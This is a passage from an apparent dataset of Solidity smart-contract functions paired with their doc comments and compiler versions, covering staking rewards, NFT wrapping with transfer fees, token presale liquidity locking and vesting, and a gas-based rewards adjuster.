\"subscribe(uint256,uint128,uint128,uint128,uint128,bool,bool,address)\",\r\n cdpId, \r\n _repaymentRatio * 10**16, \r\n _boostRatio * 10**16,\r\n _targetRatio * 10**16,\r\n _targetRatio * 10**16,\r\n true,\r\n true,\r\n subscriptions);\r\n IDSProxy(address(this)).execute(subscriptionsProxyV2, subscribeProxyCall);\r\n \r\n emit AutomationSettingsChanged(\r\n _repaymentRatio,\r\n _targetRatio,\r\n _boostRatio,\r\n minRedemptionRatioPerc,\r\n automationFeePerc,\r\n riskLimit);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Stake tokens to earn rewards\r\n * @param tokenAddress Staking token address\r\n * @param amount Amount of tokens to be staked\r\n */", "function_code": "function stake(\r\n address referrerAddress,\r\n address tokenAddress,\r\n uint256 amount\r\n ) external whenNotPaused {\r\n // checks\r\n require(\r\n _msgSender() != referrerAddress,\r\n \"STAKE: invalid referrer address\"\r\n );\r\n require(\r\n tokenDetails[tokenAddress].isExist,\r\n \"STAKE : Token is not Exist\"\r\n );\r\n require(\r\n userTotalStaking[_msgSender()][tokenAddress].add(amount) >=\r\n tokenDetails[tokenAddress].userMinStake,\r\n \"STAKE : Min Amount should be within permit\"\r\n );\r\n require(\r\n userTotalStaking[_msgSender()][tokenAddress].add(amount) <=\r\n tokenDetails[tokenAddress].userMaxStake,\r\n \"STAKE : Max Amount should be within permit\"\r\n );\r\n require(\r\n totalStaking[tokenAddress].add(amount) <=\r\n tokenDetails[tokenAddress].totalMaxStake,\r\n \"STAKE : Maxlimit exceeds\"\r\n );\r\n\r\n require(\r\n poolStartTime.add(stakeDuration) > block.timestamp,\r\n \"STAKE: Staking Time Completed\"\r\n );\r\n\r\n // Storing stake details\r\n stakingDetails[_msgSender()].stakeId.push(\r\n stakingDetails[_msgSender()].stakeId.length\r\n );\r\n stakingDetails[_msgSender()].isActive.push(true);\r\n stakingDetails[_msgSender()].user = _msgSender();\r\n stakingDetails[_msgSender()].referrer.push(referrerAddress);\r\n stakingDetails[_msgSender()].tokenAddress.push(tokenAddress);\r\n stakingDetails[_msgSender()].startTime.push(block.timestamp);\r\n\r\n // Update total staking amount\r\n stakingDetails[_msgSender()].stakedAmount.push(amount);\r\n totalStaking[tokenAddress] = totalStaking[tokenAddress].add(amount);\r\n userTotalStaking[_msgSender()][tokenAddress] = userTotalStaking[\r\n _msgSender()\r\n ][tokenAddress].add(amount);\r\n\r\n // Transfer tokens from user to contract\r\n require(\r\n IERC20(tokenAddress).transferFrom(\r\n _msgSender(),\r\n address(this),\r\n amount\r\n ),\r\n \"Transfer Failed\"\r\n );\r\n\r\n // Emit state changes\r\n emit Stake(\r\n _msgSender(),\r\n (stakingDetails[_msgSender()].stakeId.length.sub(1)),\r\n referrerAddress,\r\n tokenAddress,\r\n amount,\r\n block.timestamp\r\n );\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Claim accumulated rewards\r\n * @param stakeId Stake ID of the user\r\n * @param stakedAmount Staked amount of the user\r\n */", "function_code": "function claimRewards(\r\n address userAddress,\r\n uint256 stakeId,\r\n uint256 stakedAmount,\r\n uint256 totalStake\r\n ) internal {\r\n // Local variables\r\n uint256 interval;\r\n uint256 endOfProfit;\r\n\r\n interval = poolStartTime.add(stakeDuration);\r\n\r\n // Interval calculation\r\n if (interval > block.timestamp) endOfProfit = block.timestamp;\r\n else endOfProfit = poolStartTime.add(stakeDuration);\r\n\r\n interval = endOfProfit.sub(\r\n stakingDetails[userAddress].startTime[stakeId]\r\n );\r\n uint256[2] memory stakeData;\r\n stakeData[0] = (stakedAmount);\r\n stakeData[1] = (totalStake);\r\n\r\n // Reward calculation\r\n if (interval >= HOURS)\r\n _rewardCalculation(userAddress, stakeId, stakeData, interval);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Get rewards for one day\r\n * @param stakedAmount Stake amount of the user\r\n * @param stakedToken Staked token address of the user\r\n * @param rewardToken Reward token address\r\n * @return reward One dayh reward for the user\r\n */", "function_code": "function getOneDayReward(\r\n uint256 stakedAmount,\r\n address stakedToken,\r\n address rewardToken,\r\n uint256 totalStake\r\n ) public view returns (uint256 reward) {\r\n uint256 lockBenefit;\r\n\r\n if (tokenDetails[stakedToken].optionableStatus) {\r\n stakedAmount = stakedAmount.mul(optionableBenefit);\r\n lockBenefit = stakedAmount.mul(optionableBenefit.sub(1));\r\n reward = (\r\n stakedAmount.mul(\r\n tokenDailyDistribution[stakedToken][rewardToken]\r\n )\r\n ).div(totalStake.add(lockBenefit));\r\n } else {\r\n reward = (\r\n stakedAmount.mul(\r\n tokenDailyDistribution[stakedToken][rewardToken]\r\n )\r\n ).div(totalStake);\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Get rewards for one day\r\n * @param stakedToken Stake amount of the user\r\n * @param tokenAddress Reward token address\r\n * @param amount Amount to be transferred as reward\r\n */", "function_code": "function sendToken(\r\n address userAddress,\r\n address stakedToken,\r\n address tokenAddress,\r\n uint256 amount\r\n ) internal {\r\n // Checks\r\n if (tokenAddress != address(0)) {\r\n require(\r\n rewardCap[tokenAddress] >= amount,\r\n \"SEND : Insufficient Reward Balance\"\r\n );\r\n // Transfer of rewards\r\n rewardCap[tokenAddress] = rewardCap[tokenAddress].sub(amount);\r\n\r\n require(\r\n IERC20(tokenAddress).transfer(userAddress, amount),\r\n \"Transfer failed\"\r\n );\r\n\r\n // Emit state changes\r\n emit Claim(\r\n userAddress,\r\n stakedToken,\r\n tokenAddress,\r\n amount,\r\n block.timestamp\r\n );\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Unstake and claim rewards\r\n * @param stakeId Stake ID of the user\r\n */", "function_code": "function unStake(address userAddress, uint256 stakeId)\r\n external\r\n whenNotPaused\r\n returns (bool)\r\n {\r\n require(\r\n _msgSender() == userAddress || _msgSender() == _owner,\r\n \"UNSTAKE: Invalid User Entry\"\r\n );\r\n\r\n address stakedToken = stakingDetails[userAddress].tokenAddress[stakeId];\r\n\r\n // lockableDays check\r\n require(\r\n tokenDetails[stakedToken].lockableDays <= block.timestamp,\r\n \"UNSTAKE: Token Locked\"\r\n );\r\n\r\n // optional lock check\r\n if (tokenDetails[stakedToken].optionableStatus)\r\n require(\r\n stakingDetails[userAddress].startTime[stakeId].add(\r\n stakeDuration\r\n ) <= block.timestamp,\r\n \"UNSTAKE: Locked in optional lock\"\r\n );\r\n\r\n // Checks\r\n require(\r\n stakingDetails[userAddress].stakedAmount[stakeId] > 0 ||\r\n stakingDetails[userAddress].isActive[stakeId] == true,\r\n \"UNSTAKE : Already Claimed (or) Insufficient Staked\"\r\n );\r\n\r\n // State updation\r\n uint256 stakedAmount = stakingDetails[userAddress].stakedAmount[\r\n stakeId\r\n ];\r\n uint256 totalStaking1 = totalStaking[stakedToken];\r\n\r\n stakingDetails[userAddress].stakedAmount[stakeId] = 0;\r\n stakingDetails[userAddress].isActive[stakeId] = false;\r\n\r\n // Balance check\r\n require(\r\n IERC20(stakingDetails[userAddress].tokenAddress[stakeId]).balanceOf(\r\n address(this)\r\n ) >= stakedAmount,\r\n \"UNSTAKE : Insufficient Balance\"\r\n );\r\n\r\n // Transfer staked token back to user\r\n IERC20(stakingDetails[userAddress].tokenAddress[stakeId]).transfer(\r\n userAddress,\r\n stakedAmount\r\n );\r\n\r\n claimRewards(userAddress, stakeId, stakedAmount, totalStaking1);\r\n\r\n // Emit state changes\r\n emit UnStake(\r\n userAddress,\r\n stakingDetails[userAddress].tokenAddress[stakeId],\r\n stakedAmount,\r\n block.timestamp,\r\n stakeId\r\n );\r\n\r\n return true;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice View staking details\r\n * @param _user User address\r\n */", "function_code": "function viewStakingDetails(address _user)\r\n public\r\n view\r\n returns (\r\n address[] memory,\r\n address[] memory,\r\n bool[] memory,\r\n uint256[] memory,\r\n uint256[] memory,\r\n uint256[] memory\r\n )\r\n {\r\n return (\r\n stakingDetails[_user].referrer,\r\n stakingDetails[_user].tokenAddress,\r\n stakingDetails[_user].isActive,\r\n stakingDetails[_user].stakeId,\r\n stakingDetails[_user].stakedAmount,\r\n stakingDetails[_user].startTime\r\n );\r\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Function for unwrap protocol token. If wrapped NFT\n * has many erc20 collateral tokens it possible call this method\n * more than once, until unwrapped\n *\n * @param _tokenId id of protocol token to unwrapp\n */", "function_code": "function unWrap721(uint256 _tokenId) external nonReentrant {\n\n ///////////////////////////////////////////////\n //// Base Protocol checks ///\n ///////////////////////////////////////////////\n //1. Only token owner can UnWrap\n require(ownerOf(_tokenId) == msg.sender, 'Only owner can unwrap it!');\n //storoge did not work because there is no this var after delete\n NFT memory nft = wrappedTokens[_tokenId];\n \n //2. Time lock check\n if (nft.unwrapAfter != 0) {\n require(nft.unwrapAfter <= block.timestamp, \"Cant unwrap before day X\"); \n }\n \n //3. Fee accumulated check\n if (nft.unwraptFeeThreshold > 0){\n require(nft.backedTokens >= nft.unwraptFeeThreshold, \"Cant unwrap due Fee Threshold\");\n }\n \n ///////////////////////////////////////////////\n /// Place for hook ////\n ///////////////////////////////////////////////\n\n if (!_beforeUnWrapHook(_tokenId)) {\n return;\n }\n \n /////////////////////////////////////////////// \n /// Main UnWrap Logic //////\n ///////////////////////////////////////////////\n _burn(_tokenId);\n IERC721(nft.tokenContract).transferFrom(address(this), msg.sender, nft.tokenId);\n delete wrappedTokens[_tokenId];\n //Return backed ether\n if (nft.backedValue > 0) {\n address payable toPayable = payable(msg.sender);\n toPayable.transfer(nft.backedValue);\n }\n //Return backed tokens\n if (nft.backedTokens > 0) {\n if (nft.transferFeeToken == address(0)) {\n IERC20(projectToken).transfer(msg.sender, nft.backedTokens);\n } else {\n IERC20(nft.transferFeeToken).safeTransfer(msg.sender, nft.backedTokens);\n }\n }\n \n emit UnWrapped(\n _tokenId, \n msg.sender, \n nft.backedValue,\n nft.backedTokens \n );\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function is part of transferFeeModel interface\n * for charge fee in tech protokol Token\n *\n */", "function_code": "function chargeTransferFeeAndRoyalty(\n address from, \n address to, \n uint256 transferFee, \n uint256 royaltyPercent, \n address royaltyBeneficiary,\n address _transferFeeToken\n ) external\n override \n returns (uint256 feeIncrement)\n {\n require(msg.sender == address(this), \"Wrapper only\");\n uint256 rAmount = royaltyPercent * transferFee / 100;\n ITechToken(projectToken).mint(address(this), transferFee - rAmount);\n if (rAmount > 0) {\n ITechToken(projectToken).mint(royaltyBeneficiary, rAmount); \n }\n return transferFee - rAmount;\n }", "version": "0.8.7"} {"comment": "/////////////////////////////////////////////////////////////////////\n/////////////////////////////////////////////////////////////////////\n///////////// Internals ///////////////////////////////////////\n/////////////////////////////////////////////////////////////////////", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 tokenId) \n internal \n virtual \n override \n {\n super._beforeTokenTransfer(from, to, tokenId);\n //Not for mint and burn\n if (to != address(0) && from !=address(0)) {\n NFT storage nft = wrappedTokens[tokenId];\n //Transfer fee charge\n if (nft.transferFee > 0) {\n address feeCharger = partnersTokenList[nft.transferFeeToken].transferFeeModel;\n\n // If there is no custom fee&royalty model then use\n // tech virtual protokol token\n if (feeCharger == address(0)) { \n feeCharger = address(this); \n }\n\n uint256 feeinc = IFeeRoyaltyCharger(feeCharger).chargeTransferFeeAndRoyalty(\n from, \n to, \n nft.transferFee, \n nft.royaltyPercent, \n nft.royaltyBeneficiary,\n nft.transferFeeToken\n ); \n nft.backedTokens += feeinc;\n \n emit NiftsyProtocolTransfer(\n tokenId, \n nft.royaltyBeneficiary, \n nft.transferFee, \n nft.transferFee - feeinc, \n nft.transferFeeToken\n );\n }\n }\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See `ERC20._mint`.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `MinterRole`.\r\n */", "function_code": "function mint(address account, uint256 amount, bool shouldPause) public onlyMinter returns (bool) {\r\n _mint(account, amount);\r\n\r\n // First time being minted? Then let's ensure\r\n // the token will remain paused for now\r\n if (shouldPause && !_isPaused(account)) {\r\n _pauseAccount(account);\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "// To stake token user will call this method\n// user can stake only once while", "function_code": "function stake(uint256 amount) nonReentrant external returns (bool) {\r\n require(enabled == true);\r\n require(amount <= 115792089237316195423570985008687907853269984665640564039457584007913129639935, \"Overflow\");\r\n if (stakedAmount[msg.sender] == 0) {\r\n bool isOk = IERC20(StakingToken).transferFrom(msg.sender,address(this),amount);\r\n require(isOk, \"TOKEN_TRANSFER_FAIL\");\r\n stakedAmount[msg.sender] = safeSub(amount, SurgeToken.slash(amount)); //// Subtracting slash amount only when staking SURG\r\n //stakedAmount[msg.sender] = amount //use this for tokens other than SURG (does not support burn-on-transfer tokens)\r\n emit Staked(msg.sender, amount);\r\n lastStack[msg.sender] = block.timestamp;\r\n return true;\r\n }\r\n else {\r\n bool isOk = IERC20(StakingToken).transferFrom(msg.sender,address(this),amount);\r\n require(isOk, \"TOKEN_TRANSFER_FAIL\");\r\n stakedAmount[msg.sender] = safeSub(safeAdd(stakedAmount[msg.sender], amount), SurgeToken.slash(amount)); //// Subtracting slash amount only when staking SURG\r\n //stakedAmount[msg.sender] = safeAdd(stakedAmount[msg.sender], amount); //// Subtracting slash amount only when staking SURG\r\n emit Staked(msg.sender, amount);\r\n lastStack[msg.sender] = block.timestamp;\r\n return true;\r\n }\r\n }", "version": "0.7.5"} {"comment": "// To unstake token user will call this method\n// user get daily rewards according to calulation\n// for first 28 days we give 1.0% rewards per day\n// after 31 day reward is 1.5% per day", "function_code": "function unStake() nonReentrant external returns (bool) {\r\n require(stakedAmount[msg.sender] != 0, \"ERR_NOT_STACKED\");\r\n uint256 lastStackTime = lastStack[msg.sender];\r\n uint256 amount = stakedAmount[msg.sender];\r\n uint256 _days = safeDiv(safeSub(block.timestamp, lastStackTime), 86400);\r\n uint256 totalReward = 0;\r\n\r\n if (_days > rewardBreakingPoint) {\r\n totalReward = safeMul(safeDiv(safeMul(amount, aterBreakPoint), 10000), safeSub(_days, rewardBreakingPoint));\r\n _days = rewardBreakingPoint;\r\n }\r\n\r\n totalReward = safeAdd(totalReward, safeMul(safeDiv(safeMul(amount, beforeBreakPoint), 10000), _days));\r\n totalReward = safeAdd(totalReward, 1);\r\n try SurgeToken.mint(msg.sender, totalReward) {} catch Error(string memory){}\r\n StakingToken.transfer(msg.sender, amount);\r\n\r\n emit Unstaked(msg.sender, amount);\r\n\r\n stakedAmount[msg.sender] = 0;\r\n lastStack[msg.sender] = 0;\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// user can check balance if they unstake now", "function_code": "function balanceOf(address _whom) external view returns (uint256) {\r\n uint256 lastStackTime = lastStack[_whom];\r\n uint256 amount = stakedAmount[_whom];\r\n uint256 _days = safeDiv(safeSub(block.timestamp, lastStackTime), 86400);\r\n\r\n uint256 totalReward = 0;\r\n\r\n if (_days > rewardBreakingPoint) {\r\n totalReward = safeMul(\r\n safeDiv(safeMul(amount, aterBreakPoint), 10000),\r\n safeSub(_days, rewardBreakingPoint)\r\n );\r\n _days = rewardBreakingPoint;\r\n }\r\n\r\n totalReward = safeAdd(\r\n totalReward,\r\n safeMul(safeDiv(safeMul(amount, beforeBreakPoint), 10000), _days)\r\n );\r\n\r\n uint256 recivedAmount = safeAdd(amount, totalReward);\r\n return recivedAmount;\r\n }", "version": "0.7.5"} {"comment": "// REDEEM AND BURN FUNCTIONS\n// amount = number of tokens to burn", "function_code": "function redeem(uint256 amount) \r\n public \r\n profitable \r\n returns (bool success) {\r\n // the amount must be less than the total amount pooled\r\n require(amount <= balanceOf[msg.sender]);\r\n require(totalPooled >= amount); \r\n uint256 num_redeemed = numberRedeemed(amount);\r\n \r\n // make sure the number available to be redeemed is smaller than the available pool\r\n require(num_redeemed < totalPooled);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(num_redeemed);\r\n \r\n emit Transfer(_owner, msg.sender, num_redeemed);\r\n totalPooled = totalPooled.sub(num_redeemed);\r\n \r\n // burn the amount sent\r\n return burn(amount);\r\n }", "version": "0.6.12"} {"comment": "// withdraw spaceport tokens\n// percentile withdrawls allows fee on transfer or rebasing tokens to still work", "function_code": "function userWithdrawTokens () external nonReentrant {\r\n require(STATUS.LP_GENERATION_COMPLETE, 'AWAITING LP GENERATION');\r\n BuyerInfo storage buyer = BUYERS[msg.sender];\r\n require(STATUS.LP_GENERATION_COMPLETE_TIME + SPACEPORT_VESTING.vestingCliff < block.timestamp, \"vesting cliff : not time yet\");\r\n\r\n if (buyer.lastUpdate < STATUS.LP_GENERATION_COMPLETE_TIME ) {\r\n buyer.lastUpdate = STATUS.LP_GENERATION_COMPLETE_TIME;\r\n }\r\n \r\n uint256 tokensOwed = 0;\r\n if(STATUS.LP_GENERATION_COMPLETE_TIME + SPACEPORT_VESTING.vestingEnd < block.timestamp) {\r\n tokensOwed = buyer.tokensOwed.sub(buyer.tokensClaimed);\r\n }\r\n else {\r\n tokensOwed = buyer.tokensOwed.mul(block.timestamp - buyer.lastUpdate).div(SPACEPORT_VESTING.vestingEnd);\r\n }\r\n\r\n buyer.lastUpdate = block.timestamp;\r\n buyer.tokensClaimed = buyer.tokensClaimed.add(tokensOwed);\r\n \r\n require(tokensOwed > 0, 'NOTHING TO CLAIM');\r\n require(buyer.tokensClaimed <= buyer.tokensOwed, 'CLAIM TOKENS ERROR');\r\n\r\n STATUS.TOTAL_TOKENS_WITHDRAWN = STATUS.TOTAL_TOKENS_WITHDRAWN.add(tokensOwed);\r\n TransferHelper.safeTransfer(address(SPACEPORT_INFO.S_TOKEN), msg.sender, tokensOwed);\r\n\r\n emit spaceportUserWithdrawTokens(tokensOwed);\r\n }", "version": "0.6.12"} {"comment": "// on spaceport success, this is the final step to end the spaceport, lock liquidity and enable withdrawls of the sale token.\n// This function does not use percentile distribution. Rebasing mechanisms, fee on transfers, or any deflationary logic\n// are not taken into account at this stage to ensure stated liquidity is locked and the pool is initialised according to \n// the spaceport parameters and fixed prices.", "function_code": "function addLiquidity() external nonReentrant {\r\n require(!STATUS.LP_GENERATION_COMPLETE, 'GENERATION COMPLETE');\r\n require(spaceportStatus() == 2, 'NOT SUCCESS'); // SUCCESS\r\n // Fail the spaceport if the pair exists and contains spaceport token liquidity\r\n if (SPACEPORT_LOCK_FORWARDER.plasmaswapPairIsInitialised(address(SPACEPORT_INFO.S_TOKEN), address(SPACEPORT_INFO.B_TOKEN))) {\r\n STATUS.FORCE_FAILED = true;\r\n return;\r\n }\r\n \r\n uint256 plfiBaseFee = STATUS.TOTAL_BASE_COLLECTED.mul(SPACEPORT_FEE_INFO.PLFI_BASE_FEE).div(1000);\r\n \r\n // base token liquidity\r\n uint256 baseLiquidity = STATUS.TOTAL_BASE_COLLECTED.sub(plfiBaseFee).mul(SPACEPORT_INFO.LIQUIDITY_PERCENT).div(1000);\r\n if (SPACEPORT_INFO.SPACEPORT_IN_ETH) {\r\n WETH.deposit{value : baseLiquidity}();\r\n }\r\n TransferHelper.safeApprove(address(SPACEPORT_INFO.B_TOKEN), address(SPACEPORT_LOCK_FORWARDER), baseLiquidity);\r\n \r\n // sale token liquidity\r\n uint256 tokenLiquidity = baseLiquidity.mul(SPACEPORT_INFO.LISTING_RATE).div(10 ** uint256(SPACEPORT_INFO.B_TOKEN.decimals()));\r\n TransferHelper.safeApprove(address(SPACEPORT_INFO.S_TOKEN), address(SPACEPORT_LOCK_FORWARDER), tokenLiquidity);\r\n \r\n SPACEPORT_LOCK_FORWARDER.lockLiquidity(SPACEPORT_INFO.B_TOKEN, SPACEPORT_INFO.S_TOKEN, baseLiquidity, tokenLiquidity, block.timestamp + SPACEPORT_INFO.LOCK_PERIOD, SPACEPORT_INFO.SPACEPORT_OWNER);\r\n \r\n // transfer fees\r\n uint256 plfiTokenFee = STATUS.TOTAL_TOKENS_SOLD.mul(SPACEPORT_FEE_INFO.PLFI_TOKEN_FEE).div(1000);\r\n TransferHelper.safeTransferBaseToken(address(SPACEPORT_INFO.B_TOKEN), SPACEPORT_FEE_INFO.BASE_FEE_ADDRESS, plfiBaseFee, !SPACEPORT_INFO.SPACEPORT_IN_ETH);\r\n TransferHelper.safeTransfer(address(SPACEPORT_INFO.S_TOKEN), SPACEPORT_FEE_INFO.TOKEN_FEE_ADDRESS, plfiTokenFee);\r\n \r\n // burn unsold tokens\r\n uint256 remainingSBalance = SPACEPORT_INFO.S_TOKEN.balanceOf(address(this));\r\n if (remainingSBalance > STATUS.TOTAL_TOKENS_SOLD) {\r\n uint256 burnAmount = remainingSBalance.sub(STATUS.TOTAL_TOKENS_SOLD);\r\n TransferHelper.safeTransfer(address(SPACEPORT_INFO.S_TOKEN), 0x6Ad6fd6282cCe6eBB65Ab8aBCBD1ae5057D4B1DB, burnAmount);\r\n }\r\n \r\n // send remaining base tokens to spaceport owner\r\n uint256 remainingBaseBalance = SPACEPORT_INFO.SPACEPORT_IN_ETH ? address(this).balance : SPACEPORT_INFO.B_TOKEN.balanceOf(address(this));\r\n TransferHelper.safeTransferBaseToken(address(SPACEPORT_INFO.B_TOKEN), SPACEPORT_INFO.SPACEPORT_OWNER, remainingBaseBalance, !SPACEPORT_INFO.SPACEPORT_IN_ETH);\r\n \r\n STATUS.LP_GENERATION_COMPLETE = true;\r\n STATUS.LP_GENERATION_COMPLETE_TIME = block.timestamp;\r\n \r\n emit spaceportAddLiquidity();\r\n }", "version": "0.6.12"} {"comment": "// editable at any stage of the presale", "function_code": "function editWhitelist(address[] memory _users, bool _add) external onlySpaceportOwner {\r\n if (_add) {\r\n for (uint i = 0; i < _users.length; i++) {\r\n WHITELIST.add(_users[i]);\r\n }\r\n } else {\r\n for (uint i = 0; i < _users.length; i++) {\r\n WHITELIST.remove(_users[i]);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Multiplie two unsigned integers, revert on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b);\r\n\r\n return c;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * @dev Integer division of two unsigned integers truncating the quotient, revert on division by zero.\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0);\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }", "version": "0.5.15"} {"comment": "/*\r\n * @notify Update the address of a contract that this adjuster is connected to\r\n * @param parameter The name of the contract to update the address for\r\n * @param addr The new contract address\r\n */", "function_code": "function modifyParameters(bytes32 parameter, address addr) external isAuthorized {\r\n require(addr != address(0), \"MinMaxRewardsAdjuster/null-address\");\r\n if (parameter == \"oracleRelayer\") {\r\n oracleRelayer = OracleRelayerLike(addr);\r\n oracleRelayer.redemptionPrice();\r\n }\r\n else if (parameter == \"treasury\") {\r\n treasury = StabilityFeeTreasuryLike(addr);\r\n }\r\n else if (parameter == \"gasPriceOracle\") {\r\n gasPriceOracle = OracleLike(addr);\r\n }\r\n else if (parameter == \"ethPriceOracle\") {\r\n ethPriceOracle = OracleLike(addr);\r\n }\r\n else if (parameter == \"treasuryParamAdjuster\") {\r\n treasuryParamAdjuster = TreasuryParamAdjusterLike(addr);\r\n }\r\n else revert(\"MinMaxRewardsAdjuster/modify-unrecognized-params\");\r\n emit ModifyParameters(parameter, addr);\r\n }", "version": "0.6.7"} {"comment": "/*\r\n * @notify Change a parameter for a funding receiver\r\n * @param receiver The address of the funding receiver\r\n * @param targetFunction The function whose callers receive funding for calling\r\n * @param parameter The name of the parameter to change\r\n * @param val The new parameter value\r\n */", "function_code": "function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized {\r\n require(val > 0, \"MinMaxRewardsAdjuster/null-value\");\r\n FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction];\r\n require(fundingReceiver.lastUpdateTime > 0, \"MinMaxRewardsAdjuster/non-existent-receiver\");\r\n\r\n if (parameter == \"gasAmountForExecution\") {\r\n require(val < block.gaslimit, \"MinMaxRewardsAdjuster/invalid-gas-amount-for-exec\");\r\n fundingReceiver.gasAmountForExecution = val;\r\n }\r\n else if (parameter == \"updateDelay\") {\r\n fundingReceiver.updateDelay = val;\r\n }\r\n else if (parameter == \"baseRewardMultiplier\") {\r\n require(both(val >= HUNDRED, val <= THOUSAND), \"MinMaxRewardsAdjuster/invalid-base-reward-multiplier\");\r\n require(val <= fundingReceiver.maxRewardMultiplier, \"MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul\");\r\n fundingReceiver.baseRewardMultiplier = val;\r\n }\r\n else if (parameter == \"maxRewardMultiplier\") {\r\n require(both(val >= HUNDRED, val <= THOUSAND), \"MinMaxRewardsAdjuster/invalid-max-reward-multiplier\");\r\n require(val >= fundingReceiver.baseRewardMultiplier, \"MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul\");\r\n fundingReceiver.maxRewardMultiplier = val;\r\n }\r\n else revert(\"MinMaxRewardsAdjuster/modify-unrecognized-params\");\r\n emit ModifyParameters(receiver, targetFunction, parameter, val);\r\n }", "version": "0.6.7"} {"comment": "/*\r\n * @notify Add a new funding receiver\r\n * @param receiver The funding receiver address\r\n * @param targetFunctionSignature The signature of the function whose callers get funding\r\n * @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver\r\n * @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature\r\n * @param baseRewardMultiplier Multiplier applied to the computed base reward\r\n * @param maxRewardMultiplier Multiplied applied to the computed max reward\r\n */", "function_code": "function addFundingReceiver(\r\n address receiver,\r\n bytes4 targetFunctionSignature,\r\n uint256 updateDelay,\r\n uint256 gasAmountForExecution,\r\n uint256 baseRewardMultiplier,\r\n uint256 maxRewardMultiplier\r\n ) external isAuthorized {\r\n // Checks\r\n require(receiver != address(0), \"MinMaxRewardsAdjuster/null-receiver\");\r\n require(updateDelay > 0, \"MinMaxRewardsAdjuster/null-update-delay\");\r\n require(both(baseRewardMultiplier >= HUNDRED, baseRewardMultiplier <= THOUSAND), \"MinMaxRewardsAdjuster/invalid-base-reward-multiplier\");\r\n require(both(maxRewardMultiplier >= HUNDRED, maxRewardMultiplier <= THOUSAND), \"MinMaxRewardsAdjuster/invalid-max-reward-multiplier\");\r\n require(maxRewardMultiplier >= baseRewardMultiplier, \"MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul\");\r\n require(gasAmountForExecution > 0, \"MinMaxRewardsAdjuster/null-gas-amount\");\r\n require(gasAmountForExecution < block.gaslimit, \"MinMaxRewardsAdjuster/large-gas-amount-for-exec\");\r\n\r\n // Check that the receiver hasn't been already added\r\n FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature];\r\n require(newReceiver.lastUpdateTime == 0, \"MinMaxRewardsAdjuster/receiver-already-added\");\r\n\r\n // Add the receiver's data\r\n newReceiver.lastUpdateTime = now;\r\n newReceiver.updateDelay = updateDelay;\r\n newReceiver.gasAmountForExecution = gasAmountForExecution;\r\n newReceiver.baseRewardMultiplier = baseRewardMultiplier;\r\n newReceiver.maxRewardMultiplier = maxRewardMultiplier;\r\n\r\n emit AddFundingReceiver(\r\n receiver,\r\n targetFunctionSignature,\r\n updateDelay,\r\n gasAmountForExecution,\r\n baseRewardMultiplier,\r\n maxRewardMultiplier\r\n );\r\n }", "version": "0.6.7"} {"comment": "/*\r\n * @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding\r\n * @param receiver The funding receiver address\r\n * @param targetFunctionSignature The signature of the function whose callers get funding\r\n */", "function_code": "function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external {\r\n FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature];\r\n require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), \"MinMaxRewardsAdjuster/wait-more\");\r\n\r\n // Update last time\r\n targetReceiver.lastUpdateTime = now;\r\n\r\n // Read the gas and the ETH prices\r\n uint256 gasPrice = gasPriceOracle.read();\r\n uint256 ethPrice = ethPriceOracle.read();\r\n\r\n // Calculate the base fiat value\r\n uint256 baseRewardFiatValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), WAD), ethPrice);\r\n\r\n // Calculate the base reward expressed in system coins\r\n uint256 newBaseReward = divide(multiply(baseRewardFiatValue, RAY), oracleRelayer.redemptionPrice());\r\n newBaseReward = divide(multiply(newBaseReward, targetReceiver.baseRewardMultiplier), HUNDRED);\r\n\r\n // Compute the new max reward and check both rewards\r\n uint256 newMaxReward = divide(multiply(newBaseReward, targetReceiver.maxRewardMultiplier), HUNDRED);\r\n require(both(newBaseReward > 0, newMaxReward > 0), \"MinMaxRewardsAdjuster/null-new-rewards\");\r\n\r\n // Notify the treasury param adjuster about the new max reward\r\n treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newMaxReward);\r\n\r\n // Approve the max reward in the treasury\r\n treasury.setPerBlockAllowance(receiver, multiply(newMaxReward, RAY));\r\n\r\n // Set the new rewards inside the receiver contract\r\n TreasuryFundableLike(receiver).modifyParameters(\"maxUpdateCallerReward\", newMaxReward);\r\n TreasuryFundableLike(receiver).modifyParameters(\"baseUpdateCallerReward\", 